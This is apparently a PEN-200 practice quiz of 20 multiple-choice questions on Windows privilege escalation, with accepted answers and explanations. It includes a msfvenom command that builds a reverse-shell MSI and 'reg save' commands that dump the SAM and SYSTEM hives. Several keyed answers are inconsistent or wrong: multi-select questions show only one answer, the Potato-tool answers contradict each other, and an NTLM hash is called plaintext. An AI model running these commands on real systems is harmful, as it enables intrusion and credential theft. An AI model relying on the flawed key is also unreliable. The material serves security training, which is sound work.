PEN-200 Windows Privilege Escalation — Timed 20 Questions

Question 1

You are auditing a machine and find a folder with 'AlwaysInstallElevated' enabled in the registry for both HKLM and HKCU. Which TWO actions allow you to achieve privilege escalation?

Accepted Answer

Create an MSI installer that executes a reverse shell.. AlwaysInstallElevated allows standard users to install Windows Installer packages (.msi) with SYSTEM privileges. When both registry keys are set to 1, the system trusts any MSI file launched by any user. This is a classic misconfiguration that provides an immediate path to SYSTEM, demonstrating why auditing registry settings for security policies is critical for penetration testers identifying low-hanging fruit in a corporate environment.

Answer

Directly modify the kernel memory to escalate the current process.

Answer

Delete the HKLM registry key to disable the elevation.

Answer

Use the 'runas' command to switch to the SYSTEM user.

Question 2

Which Windows feature can be abused for privilege escalation if a service is configured to run as a specific user but its password has been changed or retrieved from a configuration file?

Accepted Answer

Credential Manager. Stored credentials in configuration files, scripts, or registry keys are frequent targets. If a service is configured to run as a specific user, that user's credentials might be saved in plain text or easily decryptable formats. Identifying these credentials allows an attacker to pivot to a different, potentially more privileged user account. This highlights the importance of managing service accounts securely and rotating passwords regularly.

Answer

Windows Defender

Answer

BitLocker

Answer

Group Policy

Question 3

Which THREE of the following are common indicators of a potential privilege escalation path via scheduled tasks?

Accepted Answer

The task is configured to run as the SYSTEM user.. Scheduled tasks often run with elevated privileges to perform maintenance. If a task points to a script or binary that a standard user can modify, or if the task itself can be altered, it provides a perfect vehicle for privilege escalation. Identifying these tasks requires checking the permissions of files and scripts referenced in the task schedule, a critical step during enumeration.

Answer

The task is configured to start only when the user logs on.

Answer

The task's trigger is set to 'OnIdle'.

Question 4

You find a service whose executable is located in a directory where 'Everyone' has 'Full Control'. What is the most significant risk?

Accepted Answer

Privilege escalation to SYSTEM is trivial.. Full Control permissions for 'Everyone' on an application directory is a catastrophic misconfiguration. It allows any user to not only replace the service binary but also delete it or replace other dependencies, such as DLLs. This creates multiple, trivial vectors for privilege escalation, as the attacker has total agency over the environment that the system service uses to execute its tasks.

Answer

The service will fail to start.

Answer

The service will become visible to all users.

Answer

Only an administrator can fix this issue.

Question 5

Which TWO of the following are effective ways to gather information about potentially vulnerable services?

Accepted Answer

Running 'wmic service get name,displayname,pathname,startmode'.. Enumeration is the cornerstone of privilege escalation. Using built-in tools like 'wmic' or PowerShell's 'Get-Service' allows an attacker to query the system for service configurations, paths, and startup types. By systematically gathering this data, an attacker can look for patterns like unquoted paths or misconfigured startup settings that indicate a viable pathway for privilege escalation.

Answer

Using 'net user' to list all local users.

Answer

Reading the 'C:\Windows\System32\drivers\etc\hosts' file.

Answer

Checking the 'C:\Windows\System32\config' folder for SAM files.

Question 6

Which of the following is a classic example of an 'insecure service path' vulnerability?

Accepted Answer

C:\Program Files\My App\service.exe. Insecure service paths occur when the executable path is not enclosed in quotes and contains spaces. Windows SCM interprets spaces as argument delimiters. If the path is C:\Program Files\App\service.exe, Windows checks C:\Program.exe, then C:\Program Files\App\service.exe. If an attacker can write to the root of the drive as C:\Program.exe, they can hijack the service, making it a classic and easily detectable privilege escalation vector.

Answer

C:\Windows\System32\service.exe

Answer

C:\"Program Files"\App\service.exe

Answer

C:\bin\service.exe

Question 7

You have successfully compromised a Windows target and harvested plaintext credentials from memory using a credential dumping tool. Among the retrieved items is a plaintext NTLM hash belonging to a domain administrator account. Which enumeration or attack technique allows you to leverage this hash directly against network services without cracking it?

Accepted Answer

Execute a Pass-the-Hash attack utilizing tools like Impacket to authenticate against SMB or WinRM services.. Pass-the-Hash bypasses the traditional password cracking phase by authenticating directly with the captured NTLM hash. This technique leverages the underlying Microsoft challenge-response authentication protocol mechanics taught thoroughly in PEN-200. It enables rapid lateral movement and privilege escalation across domain environments when administrative hashes are recovered.

Answer

Perform a Kerberoasting attack against the domain controller to request service tickets encrypted with weak keys.

Answer

Perform a Golden Ticket attack by extracting the krbtgt account NT-hash to forge arbitrary ticket-granting tickets.

Answer

Inject the plaintext NTLM hash into the Local Security Authority Subsystem Service memory space to downgrade encryption.

Question 8

During a Windows privilege escalation assessment, you successfully identify and abuse a weak service permission to modify a service binary path to launch a reverse shell. However, when you attempt to start the service, the command hangs and the shell fails to spawn. Which THREE common factors could cause a service-based privilege escalation attempt to fail in this manner?

Accepted Answer

The custom executable does not implement the required Service Control Manager dispatch routines, causing a timeout.. Windows services have strict timeout constraints and execution requirements that differ from interactive user shells. If a service executable fails to communicate properly with the Service Control Manager or crashes due to missing session interactions, the service start command will hang or timeout. Understanding these operational constraints is crucial for successful PEN-200 lab exploitation.

Answer

The local Windows Defender Antivirus service automatically deletes any executable placed inside the System32 directory.

Answer

The target machine has strict firewall rules blocking outbound TCP connections on high-numbered ports.

Question 9

While enumerating a Windows target, you find a service with the following path: C:\Program Files\Custom Tools\Service Monitor\monitor.exe. The path is not enclosed in quotes. You have write access to 'C:\Program Files\Custom Tools\'. What should you name your malicious executable to exploit this vulnerability?

Accepted Answer

Service.exe. This scenario describes an unquoted service path vulnerability. When a service path contains spaces and lacks quotes, Windows attempts to locate the executable by appending '.exe' to each fragment of the path. By placing a file named 'Service.exe' in the 'Custom Tools' directory, the Windows Service Control Manager will execute it instead of the intended 'monitor.exe' located further down the subfolder chain.

Answer

monitor.exe

Answer

Tools.exe

Answer

Program.exe

Question 10

During an internal assessment, you gain a low-privileged shell on a Windows 10 host. Running `whoami /priv` shows that the account has SeImpersonatePrivilege enabled. You want to escalate to SYSTEM by leveraging a tool that abuses this privilege via a named pipe impersonation technique. Which of the following tools is specifically designed to exploit this privilege on modern Windows versions?

Accepted Answer

RoguePotato. SeImpersonatePrivilege allows a process to impersonate a token, and tools like RoguePotato exploit this by coercing a privileged account to authenticate to a controlled named pipe. RoguePotato is specifically built to work on Windows 10 versions where older tools like JuicyPotato fail due to DCOM restrictions. It uses a rogue OXID resolver to redirect the authentication attempt, enabling token theft and SYSTEM escalation.

Answer

JuicyPotato

Answer

PrintSpoofer

Answer

SweetPotato

Question 11

You have obtained a low-privileged shell on a Windows Server 2019 machine. During enumeration, you discover that the user account you compromised has the SeBackupPrivilege enabled. You want to leverage this privilege to extract the SAM and SYSTEM registry hives for offline credential extraction. Which of the following commands correctly uses the built-in Windows utility `reg` to save these hives, and what is the required privilege?

Accepted Answer

reg save HKLM\SAM C:\Temp\SAM.hiv and reg save HKLM\SYSTEM C:\Temp\SYSTEM.hiv; SeBackupPrivilege allows this because it grants backup rights to read any file, including registry hives.. SeBackupPrivilege allows a user to read any file regardless of ACLs, which is why it can be abused to save the SAM and SYSTEM registry hives using `reg save`. These hives contain local account password hashes and boot key, which can be extracted offline with tools like secretsdump. The `reg save` command is the correct method because it writes the binary hive data to a file, unlike `reg export` which produces a text .reg file.

Answer

reg copy HKLM\SAM C:\Temp\SAM.hiv and reg copy HKLM\SYSTEM C:\Temp\SYSTEM.hiv; SeBackupPrivilege must be explicitly enabled using whoami /priv before these commands will work.

Answer

reg export HKLM\SAM C:\Temp\SAM.reg and reg export HKLM\SYSTEM C:\Temp\SYSTEM.reg; SeBackupPrivilege is not needed because these keys are world-readable.

Answer

reg save HKLM\SAM C:\Temp\SAM.hiv and reg save HKLM\SYSTEM C:\Temp\SYSTEM.hiv; SeBackupPrivilege is irrelevant because the reg command always runs with SYSTEM privileges.

Question 12

During a penetration test on a Windows 10 host, you discover a service named 'DataSync' running as NT AUTHORITY\SYSTEM. The service binary path is 'C:\Program Files\DataSync\syncsvc.exe' and the directory 'C:\Program Files\DataSync' has permissions: BUILTIN\Users:(F). You have a low-privileged shell as user 'bob'. Which action is most likely to yield privilege escalation?

Accepted Answer

Replace syncsvc.exe with a malicious executable and restart the service.. The service directory grants Full Control to BUILTIN\Users, allowing a low-privileged user to replace the service executable. Since the service runs as SYSTEM, replacing syncsvc.exe and restarting the service executes arbitrary code with SYSTEM privileges. This is a common privilege escalation technique on Windows.

Answer

Modify the service configuration to run as bob using sc config.

Answer

Create a new service with binPath pointing to a malicious executable.

Answer

Use icacls to grant bob Full Control on the service binary.

Question 13

You have obtained a low-privileged shell on a Windows 10 host. Running `whoami /priv` shows that your current token includes SeImpersonatePrivilege. You want to escalate to SYSTEM by leveraging this privilege. Which tool is specifically designed to abuse this privilege by coercing a SYSTEM service to authenticate and then relaying that authentication back to the service?

Accepted Answer

JuicyPotato. SeImpersonatePrivilege allows a process to impersonate another user's token, which can be abused by tools like JuicyPotato to coerce a SYSTEM service into authenticating and then capture its token. This results in SYSTEM-level code execution. The other tools either enumerate privileges or perform credential dumping, but they do not directly exploit this privilege for escalation.

Answer

Mimikatz

Answer

winPEAS

Answer

PowerUp

Question 14

You have obtained a low-privileged shell on a Windows 10 host. You notice that the `C:\ProgramData` directory contains a subfolder named `Updater` with the following permissions: `BUILTIN\Users:(OI)(CI)(F)`. Inside, there is an executable `update.exe` that is run periodically by a scheduled task under the context of `NT AUTHORITY\SYSTEM`. Which two actions would most likely allow you to escalate privileges? (Choose two.)

Accepted Answer

Place a malicious `update.exe` in the folder and wait for the scheduled task to execute it, then use the SYSTEM shell to add your user to the Administrators group.. The writable `Updater` folder allows any user to replace `update.exe`. Since the scheduled task runs as SYSTEM, replacing the binary with a malicious payload results in SYSTEM-level code execution. Both replacing the executable and explicitly planting a malicious binary to be executed achieve the same escalation, making those the correct actions.

Answer

Leverage the writable folder to plant a malicious `update.exe` and then use `schtasks /run /tn Updater` to trigger the task immediately.

Answer

Use `icacls` to grant yourself Full Control on the scheduled task's XML file and modify the task to run your own command.

Answer

Create a new DLL named `update.dll` in the same folder and set the `AppInit_DLLs` registry key to load it.

Question 15

During a penetration test, you discover a Windows Server 2016 host where the `AlwaysInstallElevated` policy is enabled in both HKEY_LOCAL_MACHINE and HKEY_CURRENT_USER. You want to escalate privileges to SYSTEM. Which two actions can you take to exploit this misconfiguration? (Choose two.)

Accepted Answer

Use `msfvenom -f msi -p windows/x64/shell_reverse_tcp LHOST=... LPORT=... -o shell.msi` and then execute it with `msiexec /quiet /i shell.msi`.. When AlwaysInstallElevated is enabled in both registry hives, any MSI package runs with SYSTEM privileges. Creating a malicious MSI with msfvenom and executing it via msiexec is a direct method. Administrative installations (/a) do not trigger elevated execution, and modifying only one registry hive is insufficient. The two correct actions both involve generating and executing a malicious MSI.

Answer

Create a malicious DLL and place it in a writable directory, then run `msiexec /i malicious.msi`.

Answer

Modify the registry to enable AlwaysInstallElevated for the current user only, then run a malicious MSI.

Answer

Use `msiexec /a malicious.msi` to perform an administrative installation.

Question 16

You have gained access to a Windows workstation as a standard user. You want to identify installed applications that might have known privilege escalation vulnerabilities. Which command-line tool is specifically designed to list installed software and their versions on a Windows system?

Accepted Answer

wmic product get name,version. The `wmic product get name,version` command queries the Windows Installer provider to list installed MSI applications along with their versions. This provides a quick inventory of software that may have known vulnerabilities, aiding in privilege escalation research. Although it may not list all applications, it is a built-in command-line tool specifically designed for this purpose.

Answer

dir /s /b "C:\Program Files"

Answer

Get-WmiObject -Class Win32_Product

Answer

systeminfo

Question 17

During enumeration on a Windows Server 2016 host, you find that the service 'CustomSvc' runs as LocalSystem and its binary path is 'C:\Program Files\CustomSvc\svc.exe'. The directory 'C:\Program Files\CustomSvc' has default permissions (Administrators: Full Control, SYSTEM: Full Control, Users: Read & Execute). However, you notice that the service has an unquoted path with a space: 'C:\Program Files\CustomSvc\svc.exe'. Which attack is most likely to succeed?

Accepted Answer

Place a malicious 'CustomSvc.exe' in C:\Program Files\ and restart the service.. Unquoted service paths with spaces cause Windows to search for executables in parent directories. For 'C:\Program Files\CustomSvc\svc.exe', the system tries 'C:\Program.exe', then 'C:\Program Files\CustomSvc.exe'. If an attacker can write to 'C:\Program Files', they can place 'CustomSvc.exe' there. When the service restarts, it executes the malicious binary as LocalSystem. The other options fail due to insufficient permissions or requiring administrative rights.

Answer

Modify the service's registry key to point to a malicious binary in a writable location.

Answer

Place a malicious 'Program.exe' in C:\ and restart the service.

Answer

Place a malicious 'svc.exe' in C:\Program Files\CustomSvc\ and restart the service.

Question 18

You have gained access to a Windows Server 2019 host as a low-privileged user. You discover that the system has the SeBackupPrivilege and SeRestorePrivilege enabled for your user account. You want to extract the SAM and SYSTEM registry hives to obtain password hashes for offline cracking. Which command should you use to copy the SAM hive to a location where you can access it?

Accepted Answer

reg save HKLM\SAM C:\Temp\sam.hiv. With SeBackupPrivilege, you can use `reg save` to export a copy of the SAM and SYSTEM hives. This command leverages backup semantics to read locked registry files. Direct copy or robocopy may not work without proper flags, and esentutl is for different file types. The saved hives can then be parsed with tools like secretsdump to extract hashes.

Answer

copy C:\Windows\System32\config\SAM C:\Temp\sam.hiv

Answer

robocopy /b C:\Windows\System32\config C:\Temp SAM

Answer

esentutl /y C:\Windows\System32\config\SAM /d C:\Temp\sam.hiv

Question 19

You have a low-privileged shell on a Windows host and want to enumerate potential privilege escalation vectors. Which TWO of the following commands or techniques are effective for discovering weak service permissions? (Choose two.)

Accepted Answer

Run 'accesschk.exe -uwcqv "Everyone" *' to list services where Everyone has write or config permissions.. Effective enumeration for weak service permissions involves checking both service configuration permissions and file system permissions on service binaries. AccessChk can directly list services with weak ACLs, while icacls on program directories reveals writable folders. The other commands provide service status, paths, or require elevated rights, and do not directly identify weak permissions exploitable by a low-privileged user.

Answer

Use 'sc query state= all' to list all services and their current status.

Answer

Run 'wmic service get name,displayname,pathname,startmode' to list service paths and start modes.

Answer

Use 'Get-Service | Get-Acl' in PowerShell to inspect service permissions.

Question 20

You have gained a low-privileged shell on a Windows system and discovered a service running as 'LocalSystem' with an unquoted executable path containing spaces. Which action is the most direct way to escalate privileges?

Accepted Answer

Place a malicious binary at a location in the unquoted path that the user can write to.. Unquoted service paths are vulnerable because Windows attempts to resolve the path by interpreting spaces as delimiters. By placing a malicious executable at an intermediate folder in the path, the service manager executes your binary with SYSTEM privileges upon restart. Identifying and exploiting these paths is a foundational skill for post-exploitation, allowing attackers to elevate from standard user to the highest possible integrity level without needing complex kernel exploits.

Answer

Restart the service immediately to trigger a buffer overflow.

Answer

Overwrite the existing service executable with your payload.

Answer

Modify the Windows Registry to point the service to a new location.